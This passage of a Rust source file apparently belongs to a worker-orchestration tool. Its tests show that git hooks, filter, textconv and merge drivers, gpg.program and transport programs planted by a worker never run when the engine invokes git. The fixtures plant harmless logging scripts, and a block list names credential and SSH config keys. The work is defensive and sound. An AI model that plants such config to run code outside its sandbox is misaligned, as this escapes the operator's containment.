2400 /// always a flat `["-c", kv, "-c", kv, ...]`).
2401 fn select(self, flags: &[String]) -> Vec<String> {
2402 let drop = |kv: &str| match self {
2403 ExecFlags::All => false,
2404 ExecFlags::NetworkSafe => kv == CREDENTIAL_HELPER_RESET || kv == SSH_COMMAND_OVERRIDE,
2405 ExecFlags::SeeingFsmonitor => kv == "core.fsmonitor=",
2406 ExecFlags::None => true,
2407 };
2408 let mut kept = Vec::with_capacity(flags.len());
2409 let mut i = 0;
2410 while i + 1 < flags.len() {
2411 let (flag, kv) = (&flags[i], &flags[i + 1]);
2412 i += 2;
2413 if flag == "-c" && drop(kv) {
2414 continue;
2415 }
2416 kept.push(flag.clone());
2417 kept.push(kv.clone());
2418 }
2419 kept
2420 }
2421}
2422
2423/// Turn a finished git `Output` into stdout-on-success / [`EngineError::Git`].
2424fn check_status(args: &[OsString], out: Output) -> Result<String> {
2425 if out.status.success() {
2426 Ok(String::from_utf8_lossy(&out.stdout).into_owned())
2427 } else {
2428 Err(EngineError::Git(format!(
2429 "git {} failed ({}): {}",
2430 render_args(args),
2431 out.status,
2432 failure_detail(&out)
2433 )))
2434 }
2435}
2436
2437/// Human-readable rendering of an argument vector for error context.
2438fn render_args(args: &[OsString]) -> String {
2439 args.iter()
2440 .map(|a| a.to_string_lossy().into_owned())
2441 .collect::<Vec<_>>()
2442 .join(" ")
2443}
2444
2445/// Best error detail available: stderr, falling back to stdout (git prints
2446/// e.g. "nothing to commit" on stdout).
2447fn failure_detail(out: &Output) -> String {
2448 let stderr = String::from_utf8_lossy(&out.stderr).trim().to_string();
2449 let stdout = String::from_utf8_lossy(&out.stdout).trim().to_string();
2450 match (stderr.is_empty(), stdout.is_empty()) {
2451 (false, true) => stderr,
2452 (true, false) => stdout,
2453 (false, false) => format!("{stderr} | {stdout}"),
2454 (true, true) => "no output".to_string(),
2455 }
2456}
2457
2458#[cfg(test)]
2459mod tests {
2460 use super::*;
2461
2462 fn test_git(root: &Path, args: &[&str]) -> Output {
2463 Command::new("git")
2464 .args(args)
2465 .current_dir(root)
2466 .output()
2467 .expect("spawn git")
2468 }
2469
2470 fn init_test_repo(root: &Path) {
2471 if !test_git(root, &["init", "-b", "main"]).status.success() {
2472 assert!(test_git(root, &["init"]).status.success());
2473 }
2474 assert!(test_git(root, &["config", "user.name", "kranz-test"])
2475 .status
2476 .success());
2477 assert!(
2478 test_git(root, &["config", "user.email", "test@kranz.local"])
2479 .status
2480 .success()
2481 );
2482 }
2483
2484 fn commit_test_repo_at(root: &Path, message: &str, timestamp: &str) {
2485 assert!(test_git(root, &["add", "-A"]).status.success());
2486 let output = Command::new("git")
2487 .args(["-c", "commit.gpgsign=false", "commit", "-m", message])
2488 .current_dir(root)
2489 .env("GIT_AUTHOR_DATE", timestamp)
2490 .env("GIT_COMMITTER_DATE", timestamp)
2491 .output()
2492 .expect("spawn git commit");
2493 assert!(output.status.success(), "git commit failed: {output:?}");
2494 }
2495
2496 #[test]
2497 fn path_changed_since_excludes_verification_day_and_detects_later_commit() {
2498 let dir = tempfile::tempdir().unwrap();
2499 init_test_repo(dir.path());
2500 std::fs::write(dir.path().join("evidence.md"), "v1\n").unwrap();
2501 commit_test_repo_at(dir.path(), "seed", "2026-07-08T12:00:00Z");
2502 let repo = GitRepo::open(dir.path()).unwrap();
2503
2504 assert!(!repo
2505 .path_changed_since("evidence.md", "2026-07-08")
2506 .unwrap());
2507
2508 std::fs::write(dir.path().join("evidence.md"), "v2\n").unwrap();
2509 // One hour into the next UTC day is deliberately still the previous
2510 // calendar day in American timezones. The probe must not inherit the
2511 // host timezone when it interprets the verification date.
2512 commit_test_repo_at(dir.path(), "later", "2026-07-09T01:00:00Z");
2513 assert!(repo
2514 .path_changed_since("evidence.md", "2026-07-08")
2515 .unwrap());
2516 assert!(!repo
2517 .path_changed_since("evidence.md", "2026-07-09")
2518 .unwrap());
2519 }
2520
2521 #[test]
2522 fn path_changed_since_refuses_invalid_inputs_and_propagates_git_failure() {
2523 let dir = tempfile::tempdir().unwrap();
2524 init_test_repo(dir.path());
2525 std::fs::write(dir.path().join("evidence.md"), "uncommitted\n").unwrap();
2526 let repo = GitRepo::open(dir.path()).unwrap();
2527
2528 assert!(repo
2529 .path_changed_since("../outside.md", "2026-07-08")
2530 .is_err());
2531 assert!(repo
2532 .path_changed_since("evidence.md", "not-a-date")
2533 .is_err());
2534 assert!(repo
2535 .path_changed_since("evidence.md", "2026-07-08")
2536 .is_err());
2537 }
2538
2539 /// git on Windows cannot parse verbatim (`\\?\C:\...`) paths — the
2540 /// prefix is stripped for git arguments (worktree add/remove). On all
2541 /// platforms a plain path passes through untouched; the verbatim strip
2542 /// itself is cfg(windows) and oracled by the windows-latest CI leg.
2543 #[test]
2544 fn git_path_arg_passes_plain_paths_through() {
2545 let plain = Path::new(if cfg!(windows) {
2546 r"C:\repo\wt"
2547 } else {
2548 "/repo/wt"
2549 });
2550 assert_eq!(git_path_arg(plain), plain);
2551 }
2552
2553 #[cfg(windows)]
2554 #[test]
2555 fn git_path_arg_strips_the_verbatim_prefix() {
2556 let verbatim = Path::new(r"\\?\C:\repo\wt");
2557 assert_eq!(git_path_arg(verbatim), Path::new(r"C:\repo\wt"));
2558 // UNC shares are NOT collapsed.
2559 let unc = Path::new(r"\\?\UNC\share\repo");
2560 assert_eq!(git_path_arg(unc), unc);
2561 }
2562
2563 // -----------------------------------------------------------------------
2564 // 13th-pass review (P1): the with_hooks_disabled countermeasure covers
2565 // the WHOLE executable git-config surface — planted filter drivers and
2566 // gpg.program, not just hooks/fsmonitor. Fixture idiom mirrors
2567 // validator_integrity's planted-hook test: prove the fixture is LIVE
2568 // with an ordinary handle, then prove the verification handle never
2569 // executes the payload. Unix-only: the payloads are /bin/sh scripts.
2570 // -----------------------------------------------------------------------
2571
2572 /// A repo with an initial commit and a scripted payload on disk; returns
2573 /// the repo root (inside `dir`), the payload script path, and the
2574 /// invocation log path the payload appends to when it runs.
2575 #[cfg(unix)]
2576 fn git_exec_config_repo(
2577 dir: &tempfile::TempDir,
2578 payload_body: &str,
2579 ) -> (PathBuf, PathBuf, PathBuf) {
2580 use std::os::unix::fs::PermissionsExt as _;
2581 let root = dir.path().join("repo");
2582 std::fs::create_dir_all(&root).unwrap();
2583 let log = dir.path().join("payload-invocations");
2584 let payload = dir.path().join("payload");
2585 std::fs::write(
2586 &payload,
2587 payload_body.replace("__LOG__", &log.display().to_string()),
2588 )
2589 .unwrap();
2590 std::fs::set_permissions(&payload, std::fs::Permissions::from_mode(0o755)).unwrap();
2591 let git = |args: &[&str]| {
2592 let out = Command::new("git")
2593 .args(args)
2594 .current_dir(&root)
2595 .output()
2596 .expect("spawn git");
2597 assert!(out.status.success(), "git {args:?} failed: {out:?}");
2598 };
2599 git(&["init", "-q"]);
2600 git(&["config", "user.email", "t@t"]);
2601 git(&["config", "user.name", "t"]);
2602 std::fs::write(root.join("seed.txt"), "seed\n").unwrap();
2603 git(&["add", "seed.txt"]);
2604 git(&["commit", "-qm", "seed"]);
2605 (root, payload, log)
2606 }
2607
2608 /// A planted `filter.<name>.clean` driver (repo config) armed by a
2609 /// worker-writable `.gitattributes` must never execute on the engine's
2610 /// checkpoint `git add`/`git commit` — and the add must still stage the
2611 /// bytes VERBATIM (the armed attribute is deliverable content, not
2612 /// something the countermeasure may strip). The driver name is DOTTED
2613 /// (`weird.name`) to cover the subsection round-trip in
2614 /// `configured_filter_drivers`.
2615 #[cfg(unix)]
2616 #[test]
2617 fn git_exec_config_planted_clean_filter_never_runs_on_checkpoint_add() {
2618 let dir = tempfile::tempdir().unwrap();
2619 let (root, payload, log) =
2620 git_exec_config_repo(&dir, "#!/bin/sh\necho clean-ran >> '__LOG__'\ncat\n");
2621 let git = |args: &[&str]| {
2622 Command::new("git")
2623 .args(args)
2624 .current_dir(&root)
2625 .output()
2626 .expect("spawn git")
2627 };
2628 // Plant: the driver in repo config, armed for *.txt by a
2629 // worker-writable attributes file.
2630 assert!(git(&[
2631 "config",
2632 "filter.weird.name.clean",
2633 payload.to_str().unwrap()
2634 ])
2635 .status
2636 .success());
2637 std::fs::write(root.join(".gitattributes"), "*.txt filter=weird.name\n").unwrap();
2638
2639 // Fixture proof: an ORDINARY `git add` executes the planted driver —
2640 // then reset the log so any later invocation can only have come from
2641 // the engine's checkpoint.
2642 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2643 assert!(git(&["add", "probe.txt"]).status.success());
2644 assert!(
2645 std::fs::read_to_string(&log)
2646 .map(|hits| !hits.is_empty())
2647 .unwrap_or(false),
2648 "fixture: ordinary git add runs the planted clean filter"
2649 );
2650 let _ = std::fs::remove_file(&log);
2651
2652 // The engine's checkpoint path (commit_dirty_paths is what the pool
2653 // checkpoint and the sequential dirty-tree turn call): the driver
2654 // must NOT execute, and the staged bytes must be verbatim. The handle
2655 // is a PLAIN `GitRepo::open` — hardening is the default now (audit
2656 // H3), and this test is what proves the default carries it.
2657 let repo = GitRepo::open(&root).unwrap();
2658 std::fs::write(root.join("deliverable.txt"), "exact bytes ✓\n").unwrap();
2659 match repo.commit_dirty_paths("checkpoint").unwrap() {
2660 CheckpointOutcome::Committed(_) => {}
2661 other => panic!("checkpoint must commit, got {other:?}"),
2662 }
2663 assert!(
2664 !log.exists(),
2665 "the checkpoint's git add must never execute the planted clean filter: {}",
2666 std::fs::read_to_string(&log).unwrap_or_default()
2667 );
2668 let shown = repo.show_file("HEAD", "deliverable.txt").unwrap().unwrap();
2669 assert_eq!(
2670 shown,
2671 "exact bytes ✓\n".as_bytes(),
2672 "the add stages the raw bytes verbatim — the armed attribute is content, not a hook"
2673 );
2674 // Re-wrapping an already-verified handle is idempotent: the same
2675 // argv segment, never a duplicated or re-enumerated one.
2676 let rewrapped = repo.with_hooks_disabled().unwrap();
2677 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2678 }
2679
2680 #[cfg(unix)]
2681 #[test]
2682 fn git_exec_config_planted_textconv_never_runs_on_checkpoint_diff() {
2683 let dir = tempfile::tempdir().unwrap();
2684 let (root, payload, log) = git_exec_config_repo(
2685 &dir,
2686 "#!/bin/sh\necho textconv-ran >> '__LOG__'\ncat \"$1\"\n",
2687 );
2688 let raw = GitRepo::open_unhardened(&root).unwrap();
2689 raw.run(&["config", "diff.hostile.textconv", payload.to_str().unwrap()])
2690 .unwrap();
2691 std::fs::write(root.join(".gitattributes"), "*.txt diff=hostile\n").unwrap();
2692 std::fs::write(root.join("seed.txt"), "modified\n").unwrap();
2693 raw.diff_head().unwrap();
2694 assert!(
2695 log.exists(),
2696 "ordinary diff must execute the fixture converter"
2697 );
2698 std::fs::remove_file(&log).unwrap();
2699
2700 let guarded = raw.with_hooks_disabled().unwrap();
2701 assert!(guarded.diff_head().unwrap().contains("+modified"));
2702 assert!(matches!(
2703 guarded.commit_dirty_paths("checkpoint").unwrap(),
2704 CheckpointOutcome::Committed(_)
2705 ));
2706 assert!(!log.exists(), "the engine ran the planted converter");
2707 assert_eq!(
2708 guarded.show_file("HEAD", "seed.txt").unwrap().unwrap(),
2709 b"modified\n"
2710 );
2711 }
2712
2713 #[cfg(unix)]
2714 #[test]
2715 fn git_exec_config_planted_merge_driver_fails_closed() {
2716 let dir = tempfile::tempdir().unwrap();
2717 let (root, payload, log) =
2718 git_exec_config_repo(&dir, "#!/bin/sh\necho merge-ran >> '__LOG__'\nexit 0\n");
2719 let raw = GitRepo::open_unhardened(&root).unwrap();
2720 raw.run(&["checkout", "-b", "other"]).unwrap();
2721 std::fs::write(root.join("seed.txt"), "other\n").unwrap();
2722 raw.run(&["commit", "-am", "other"]).unwrap();
2723 raw.run(&["checkout", "-b", "left", "HEAD~1"]).unwrap();
2724 std::fs::write(root.join("seed.txt"), "left\n").unwrap();
2725 raw.run(&["commit", "-am", "left"]).unwrap();
2726 std::fs::write(root.join(".gitattributes"), "*.txt merge=hostile.name\n").unwrap();
2727 raw.run(&[
2728 "config",
2729 "merge.hostile.name.driver",
2730 payload.to_str().unwrap(),
2731 ])
2732 .unwrap();
2733 let guarded = raw.with_hooks_disabled().unwrap();
2734 assert!(guarded.run(&["merge", "--no-edit", "other"]).is_err());
2735 assert!(
2736 !log.exists(),
2737 "engine merge executed a worker-authored driver"
2738 );
2739 raw.run(&["merge", "--abort"]).unwrap();
2740 raw.run(&["merge", "--no-edit", "other"]).unwrap();
2741 assert!(
2742 log.exists(),
2743 "ordinary merge must execute the fixture driver"
2744 );
2745 }
2746
2747 /// A planted `gpg.program` with signing forced on by repo config
2748 /// (`commit.gpgSign=true`) must never execute on the engine's commit:
2749 /// `commit.gpgSign=false` turns signing off and `gpg.program=/bin/false`
2750 /// makes the payload inert even if signing is forced back on.
2751 #[cfg(unix)]
2752 #[test]
2753 fn git_exec_config_planted_gpg_program_never_runs_when_signing_forced() {
2754 let dir = tempfile::tempdir().unwrap();
2755 let (root, payload, log) =
2756 git_exec_config_repo(&dir, "#!/bin/sh\necho gpg-ran >> '__LOG__'\nexit 1\n");
2757 let git = |args: &[&str]| {
2758 Command::new("git")
2759 .args(args)
2760 .current_dir(&root)
2761 .output()
2762 .expect("spawn git")
2763 };
2764 assert!(git(&["config", "commit.gpgSign", "true"]).status.success());
2765 assert!(git(&["config", "gpg.program", payload.to_str().unwrap()])
2766 .status
2767 .success());
2768
2769 // Fixture proof: an ORDINARY commit invokes the planted signer (and
2770 // fails because the payload exits 1) — the repo config really forces
2771 // signing. Then reset the log.
2772 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2773 assert!(git(&["add", "probe.txt"]).status.success());
2774 assert!(
2775 !git(&["commit", "-qm", "probe"]).status.success(),
2776 "fixture: signing with the failing payload must fail the commit"
2777 );
2778 assert!(
2779 std::fs::read_to_string(&log)
2780 .map(|hits| !hits.is_empty())
2781 .unwrap_or(false),
2782 "fixture: ordinary git commit runs the planted gpg.program"
2783 );
2784 let _ = std::fs::remove_file(&log);
2785
2786 // The engine's commit runs with the payload neutralized: it commits
2787 // unsigned and the signer never fires. Plain `GitRepo::open` again —
2788 // the default path is the one that has to hold.
2789 let repo = GitRepo::open(&root).unwrap();
2790 match repo.commit_dirty_paths("checkpoint").unwrap() {
2791 CheckpointOutcome::Committed(_) => {}
2792 other => panic!("checkpoint must commit, got {other:?}"),
2793 }
2794 assert!(
2795 !log.exists(),
2796 "the engine's commit must never execute the planted gpg.program: {}",
2797 std::fs::read_to_string(&log).unwrap_or_default()
2798 );
2799 // The commit really landed (ordinary add/commit behavior unchanged).
2800 assert_eq!(repo.commits_between("HEAD~1", "HEAD").unwrap().len(), 1);
2801 }
2802
2803 // -----------------------------------------------------------------------
2804 // Audit 2026-09-01 H1/H3: hardening is the DEFAULT, not an opt-in.
2805 //
2806 // The countermeasure was well built and applied at five of twenty-one
2807 // sites. The engine's checkpoint commits, the integration-worktree
2808 // handle, checkout, tag and `push_mission_branch` all opened plain
2809 // handles in the tree the worker controls, so a planted
2810 // `.git/hooks/pre-commit` executed outside every sandbox with the
2811 // engine's full ambient environment.
2812 // -----------------------------------------------------------------------
2813
2814 /// Plant an executable `.git/hooks/<name>` that appends to `log`.
2815 #[cfg(unix)]
2816 fn plant_hook(root: &Path, name: &str, log: &Path) {
2817 use std::os::unix::fs::PermissionsExt as _;
2818 let hooks = root.join(".git").join("hooks");
2819 std::fs::create_dir_all(&hooks).unwrap();
2820 let hook = hooks.join(name);
2821 std::fs::write(
2822 &hook,
2823 format!("#!/bin/sh\necho {name}-ran >> '{}'\n", log.display()),
2824 )
2825 .unwrap();
2826 std::fs::set_permissions(&hook, std::fs::Permissions::from_mode(0o755)).unwrap();
2827 }
2828
2829 /// A worker-planted `pre-commit` hook must not run on the checkpoint
2830 /// commit of a handle opened the ORDINARY way. The unhardened handle is
2831 /// the fixture proof that the hook is live: without it this test would
2832 /// pass on a repo where hooks simply never fire.
2833 #[cfg(unix)]
2834 #[test]
2835 fn default_open_never_runs_a_planted_pre_commit_hook() {
2836 let dir = tempfile::tempdir().unwrap();
2837 let (root, _payload, log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2838 plant_hook(&root, "pre-commit", &log);
2839
2840 // Fixture proof: the explicitly UNHARDENED handle runs it.
2841 let unhardened = GitRepo::open_unhardened(&root).unwrap();
2842 std::fs::write(root.join("probe.txt"), "probe\n").unwrap();
2843 unhardened.commit_dirty_paths("probe").unwrap();
2844 assert!(
2845 log.exists(),
2846 "fixture: an unhardened handle must run the planted pre-commit hook"
2847 );
2848 std::fs::remove_file(&log).unwrap();
2849
2850 // The default: hardened, so the hook never fires.
2851 let repo = GitRepo::open(&root).unwrap();
2852 std::fs::write(root.join("deliverable.txt"), "x\n").unwrap();
2853 match repo.commit_dirty_paths("checkpoint").unwrap() {
2854 CheckpointOutcome::Committed(_) => {}
2855 other => panic!("checkpoint must commit, got {other:?}"),
2856 }
2857 assert!(
2858 !log.exists(),
2859 "GitRepo::open must be hardened by default: {}",
2860 std::fs::read_to_string(&log).unwrap_or_default()
2861 );
2862 }
2863
2864 /// The same for `push_mission_branch`, which `kranz exec --push` calls on
2865 /// the tree the worker just wrote (`pre-push`, and `core.sshCommand`).
2866 /// The push itself fails — there is no reachable remote — but the hook
2867 /// question is decided before that: git runs `pre-push` only after the
2868 /// connection, so what this pins is that the handle carrying the push is
2869 /// the hardened one.
2870 #[cfg(unix)]
2871 #[test]
2872 fn push_mission_branch_runs_on_a_hardened_handle() {
2873 let dir = tempfile::tempdir().unwrap();
2874 let (root, _payload, _log) = git_exec_config_repo(&dir, "#!/bin/sh\ncat\n");
2875 let repo = GitRepo::open(&root).unwrap();
2876 assert!(
2877 repo.exec_disable_flags.is_some(),
2878 "the handle cli/exec.rs pushes with must carry the neutralization segment"
2879 );
2880 // The guard still refuses a non-mission ref before spawning git.
2881 assert!(repo.push_mission_branch("origin", "main").is_err());
2882 }
2883
2884 /// `with_hooks_disabled` on an already-hardened handle is an idempotent
2885 /// clone: the same argv segment, never a second enumeration. Existing
2886 /// call sites (merge, validator snapshot/integrity) keep reading as the
2887 /// assertions they are.
2888 #[test]
2889 fn with_hooks_disabled_is_idempotent_on_the_default_handle() {
2890 let dir = tempfile::tempdir().unwrap();
2891 init_test_repo(dir.path());
2892 let repo = GitRepo::open(dir.path()).unwrap();
2893 assert!(repo.exec_disable_flags.is_some());
2894 let rewrapped = repo.with_hooks_disabled().unwrap();
2895 assert_eq!(repo.exec_disable_flags, rewrapped.exec_disable_flags);
2896
2897 let plain = GitRepo::open_unhardened(dir.path()).unwrap();
2898 assert!(
2899 plain.exec_disable_flags.is_none(),
2900 "open_unhardened is the explicit escape hatch"
2901 );
2902 assert_eq!(
2903 plain.with_hooks_disabled().unwrap().exec_disable_flags,
2904 repo.exec_disable_flags,
2905 "opting in by hand must reach the same segment the default now carries"
2906 );
2907 }
2908
2909 /// A LOCAL hardened invocation nulls the user- and system-scope config
2910 /// files, which the enumerated `-c` segment cannot cover (the enumeration
2911 /// reads the REPO's config, so a driver armed only in `~/.gitconfig`
2912 /// would not be in the list). The identity reads are the documented
2913 /// exception.
2914 #[test]
2915 fn hardened_invocations_null_user_and_system_config() {
2916 let empty = empty_global_config_path().unwrap();
2917 assert_eq!(
2918 hardened_config_env(UserConfig::Ignored).unwrap(),
2919 vec![
2920 ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
2921 ("GIT_CONFIG_GLOBAL", empty.as_os_str().to_os_string()),
2922 ]
2923 );
2924 assert!(
2925 hardened_config_env(UserConfig::Visible).unwrap().is_empty(),
2926 "identity resolution must still see the operator's ~/.gitconfig"
2927 );
2928 }
2929
2930 /// Audit F-11: a NETWORK invocation leaves the operator's `~/.gitconfig`
2931 /// in force — `GIT_CONFIG_GLOBAL` is never set for it, so the credential
2932 /// helper, the `insteadOf` convention and the corporate `http.proxy` an
2933 /// https push depends on all still resolve. The system scope stays off,
2934 /// and the argv segment drops exactly the two entries that break a real
2935 /// remote.
2936 #[test]
2937 fn network_invocations_keep_the_operators_global_config() {
2938 let env = hardened_config_env(UserConfig::KeptForNetwork).unwrap();
2939 assert_eq!(env, vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))]);
2940 assert!(
2941 !env.iter().any(|(key, _)| *key == "GIT_CONFIG_GLOBAL"),
2942 "nulling the user scope on a push is what F-11 reported as broken"
2943 );
2944
2945 let flags: Vec<String> = [
2946 "-c",
2947 "core.hooksPath=",
2948 "-c",
2949 CREDENTIAL_HELPER_RESET,
2950 "-c",
2951 SSH_COMMAND_OVERRIDE,
2952 "-c",
2953 "core.askPass=",
2954 ]
2955 .iter()
2956 .map(|s| s.to_string())
2957 .collect();
2958 assert_eq!(
2959 ExecFlags::NetworkSafe.select(&flags),
2960 vec!["-c", "core.hooksPath=", "-c", "core.askPass="],
2961 "an empty credential.helper resets the operator's own helper, and an \
2962 empty core.sshCommand makes git exec the empty string"
2963 );
2964 assert_eq!(ExecFlags::All.select(&flags), flags);
2965 assert!(ExecFlags::None.select(&flags).is_empty());
2966 }
2967
2968 /// Audit F-12: `GIT_CONFIG_GLOBAL` points at an EMPTY REGULAR FILE this
2969 /// process created, on every platform — not at `/dev/null` or the
2970 /// never-verified Windows `NUL`, where a git that refuses the path would
2971 /// fail every engine git call rather than degrade.
2972 #[test]
2973 fn the_nulled_global_config_is_an_empty_file_the_engine_owns() {
2974 let path = empty_global_config_path().unwrap();
2975 let meta = std::fs::metadata(path).expect("the empty global config must exist");
2976 assert!(meta.is_file(), "must be a regular file, not a device");
2977 assert_eq!(meta.len(), 0, "must be empty");
2978 // Cached: the same path for the life of the process.
2979 assert_eq!(path, empty_global_config_path().unwrap());
2980 #[cfg(unix)]
2981 {
2982 use std::os::unix::fs::PermissionsExt as _;
2983 assert_eq!(meta.permissions().mode() & 0o777, 0o600);
2984 }
2985 }
2986
2987 /// Audit F-10: the neutralization segment covers the keys that matter on
2988 /// the one path the audit named as newly exposed. `url.*.insteadOf` is
2989 /// deliberately absent — see `build_exec_disable_flags`, blanking a
2990 /// multi-valued key ARMS a catch-all rewrite instead of removing one.
2991 #[test]
2992 fn the_flag_segment_covers_the_credential_and_transport_surfaces() {
2993 let dir = tempfile::tempdir().unwrap();
2994 init_test_repo(dir.path());
2995 let repo = GitRepo::open(dir.path()).unwrap();
2996 let flags = repo.exec_disable_flags.clone().unwrap();
2997 for expected in [
2998 "credential.helper=",
2999 "core.sshCommand=",
3000 "core.askPass=",
3001 "core.editor=",
3002 "sequence.editor=",
3003 "uploadpack.packObjectsHook=",
3004 "protocol.ext.allow=never",
3005 ] {
3006 assert!(
3007 flags.iter().any(|f| f == expected),
3008 "the hardened segment must carry {expected}: {flags:?}"
3009 );
3010 }
3011 assert!(
3012 !flags.iter().any(|f| f.starts_with("url.")),
3013 "an empty insteadOf matches EVERY url and rewrites it to the base"
3014 );
3015 }
3016
3017 /// A remote whose config names a program to run on the far side is
3018 /// enumerated and blanked, the way filter drivers are. Both keys are
3019 /// single-valued, so the empty `-c` override really does replace the
3020 /// planted value.
3021 #[test]
3022 fn remote_transport_programs_are_enumerated_and_blanked() {
3023 let dir = tempfile::tempdir().unwrap();
3024 init_test_repo(dir.path());
3025 assert!(test_git(
3026 dir.path(),
3027 &["config", "remote.origin.uploadpack", "/tmp/payload"]
3028 )
3029 .status
3030 .success());
3031 let repo = GitRepo::open(dir.path()).unwrap();
3032 let flags = repo.exec_disable_flags.clone().unwrap();
3033 assert!(flags.iter().any(|f| f == "remote.origin.uploadpack="));
3034 assert!(flags.iter().any(|f| f == "remote.origin.receivepack="));
3035 }
3036
3037 /// The index-flag detections must still SEE the fsmonitor-valid tag.
3038 ///
3039 /// Neutralizing `core.fsmonitor=` on every invocation made `ls-files -f`
3040 /// print the ordinary `H` for a flag-hidden entry, so
3041 /// `has_normal_index_entry` — which `kranz ready` uses to refuse a
3042 /// `.gitignore` whose worktree bytes are hidden from diff and status —
3043 /// read the hidden file as clean. The carve-out in
3044 /// `run_seeing_fsmonitor` is what keeps the detection working; this test
3045 /// is what would catch it being removed.
3046 #[test]
3047 fn index_flag_detection_still_sees_fsmonitor_valid_on_a_hardened_handle() {
3048 let dir = tempfile::tempdir().unwrap();
3049 init_test_repo(dir.path());
3050 std::fs::write(dir.path().join("rules.txt"), "one\n").unwrap();
3051 assert!(test_git(dir.path(), &["add", "-A"]).status.success());
3052 assert!(Command::new("git")
3053 .args(["-c", "commit.gpgsign=false", "commit", "-qm", "seed"])
3054 .current_dir(dir.path())
3055 .output()
3056 .expect("spawn git commit")
3057 .status
3058 .success());
3059 assert!(test_git(dir.path(), &["config", "core.fsmonitor", "true"])
3060 .status
3061 .success());
3062 std::fs::write(dir.path().join("rules.txt"), "one\ntwo\n").unwrap();
3063 assert!(test_git(
3064 dir.path(),
3065 &["update-index", "--fsmonitor-valid", "rules.txt"]
3066 )
3067 .status
3068 .success());
3069
3070 let repo = GitRepo::open(dir.path()).unwrap();
3071 // Whether the bit sticks is git-version dependent; skip rather than
3072 // fail where this host's git drops it (the same pattern ready.rs
3073 // uses for its own fixture).
3074 let tagged = test_git(dir.path(), &["ls-files", "-f", "--", "rules.txt"]);
3075 if String::from_utf8_lossy(&tagged.stdout) != "h rules.txt\n" {
3076 eprintln!("this git does not honor --fsmonitor-valid; skipping");
3077 return;
3078 }
3079 assert!(
3080 !repo.has_normal_index_entry("rules.txt").unwrap(),
3081 "a hardened handle must still refuse an fsmonitor-hidden entry"
3082 );
3083 assert!(
3084 !repo.is_clean_tracked_strict().unwrap(),
3085 "the strict cleanliness check must see the flag too"
3086 );
3087 }
3088
3089 /// The identity carried into engine commits is unchanged by the
3090 /// hardening: `ensure_identity` pins whatever the operator's config
3091 /// resolves to into LOCAL scope, which a hardened invocation can still
3092 /// see. Without the pin, nulling `~/.gitconfig` would silently restamp
3093 /// every engine commit as `kranz <kranz@localhost>`.
3094 #[test]
3095 fn ensure_identity_pins_the_resolved_identity_into_local_scope() {
3096 let dir = tempfile::tempdir().unwrap();
3097 init_test_repo(dir.path());
3098 // init_test_repo sets a LOCAL identity; it must survive untouched.
3099 let repo = GitRepo::open(dir.path()).unwrap();
3100 repo.ensure_identity().unwrap();
3101 let (name, email) = repo.resolved_identity().unwrap();
3102 assert_eq!(name, "kranz-test");
3103 assert_eq!(email, "test@kranz.local");
3104 let local = test_git(dir.path(), &["config", "--local", "--get", "user.name"]);
3105 assert_eq!(String::from_utf8_lossy(&local.stdout).trim(), "kranz-test");
3106 }
3107}